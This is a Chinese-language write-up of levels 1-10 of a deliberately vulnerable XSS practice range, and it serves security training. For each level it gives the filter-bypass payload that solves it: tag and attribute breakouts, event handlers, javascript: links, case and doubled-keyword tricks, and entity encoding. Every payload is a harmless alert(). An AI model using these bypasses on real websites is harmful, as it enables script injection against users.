xss-challenge-tour(XSS靶场)1-10

在这里插入图片描述

第一关

在这里插入图片描述
第一关是最简单的,什么限制都没有,直接上最普通的xss代码实现弹窗

<script>alert(‘xss’)</script>

在这里插入图片描述
payload

<script>alert('xss')</script>

第二关

直接输入第一关的代码,没有弹窗,F12看一下代码,尝试进行闭合在这里插入图片描述
下面是包含我们之前输入的内容的代码

<input name="keyword" value="<script>alert(/xss/)</script>">

如果我们在输入的代码前加上 "> 上面的代码就变成了:

<input name="keyword" value=""> <script>alert(/xss/)</script>">

input标签被闭合了,后面构造的弹窗代码将会被执行
在这里插入图片描述
payload

"><script>alert(/xss/)</script>

第三关

在这里插入图片描述
再次输入第二关的payload,发现没有用,可能是双引号被过滤了,失去了作用
在这里插入图片描述

看wp都是用了onmouseover进行构造利用,先了解一下这个语法
在这里插入图片描述
输入

xx' onmouseover='alert(/x/)

查看构造后的代码
在这里插入图片描述

<input name="keyword" value="xx" onmouseover="alert(/x/)">

输入的是单引号,到了代码中成了双引号,应该是基于某种规则。先是闭合了输入的参数value,然后添加了onmouseover时间,当鼠标移动到搜索框上时触发弹窗。
在这里插入图片描述
鼠标移动到搜索框上:
在这里插入图片描述

payload

xx' onmouseover='alert(/x/)

第四关

将第三关的payload中的单引号改为双引号即可
在这里插入图片描述
payload

xx" onmouseover="alert(/x/)

第五关

尝试上一关的payload,发现on被转义为o_n,说明这个方法不能用了
在这里插入图片描述

直接看wp,使用伪链接方式假造一个超链接尝试(新姿势,学到了):

"> <a href="javascript:alert('test')">link</a>

在这里插入图片描述
点击link,弹窗
在这里插入图片描述

payload

"> <a href="javascript:alert('test')">link</a>

第六关

先尝试一下
在这里插入图片描述
发现我输入的script被转成了scr_ipt
尝试大小写绕过
加粗样式
payload

111"><SCRIPT>alert(1)</SCRIPT>

第七关

还是先测试一下
在这里插入图片描述
发现script直接给我整没了,那就双写进行绕过
在这里插入图片描述
payload

111"><scrscriptipt>alert(1)</scrscriptipt>

第八关

还是先测试
在这里插入图片描述
发现代码出现在a标签里,而且script被转义了
因为题目中的链接可以点击,我们尝试直接写入js的弹窗代码,发现里面的script被转义了
在这里插入图片描述
用Unicode进行编码,javascript:alert(1),添加后,查看代码发现并没有被转义
在这里插入图片描述
点击友情链接,成功弹窗
在这里插入图片描述

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

还是友情链接,那就用第八关的代码进行测试,然后看到链接不合法,那什么是合法的链接?给加上http://试试
在这里插入图片描述

在Unicode后面加上//http://,前面的双斜杠表示注释
在这里插入图片描述
看样子是合法了,只不过被//给注释掉了,嘿嘿
在这里插入图片描述
payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

第十关

第十关发现没有输入框,但我们知道,输入框只是让用户输入参数的一种方式,没有输入框我们也可以进行传参,先看看源码,需要我们输入什么参数
在这里插入图片描述
发现了三个参数,我们都传一个值试试
/level10.php?t_link=1&t_history=2&t_sort=3
再次查看代码,发现t_sort参数的值已经传入了
在这里插入图片描述
然后我们为t_sort参数构造xss代码
在这里插入图片描述
发现><都被过滤了,要用没有><的代码
看wp,使用了" οnclick=“alert(1)” type=""
构造出了一个输入框,点击输入框即可弹窗
在这里插入图片描述

点击输入框,弹窗
在这里插入图片描述
payload

" onclick="alert(1)" type=""
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值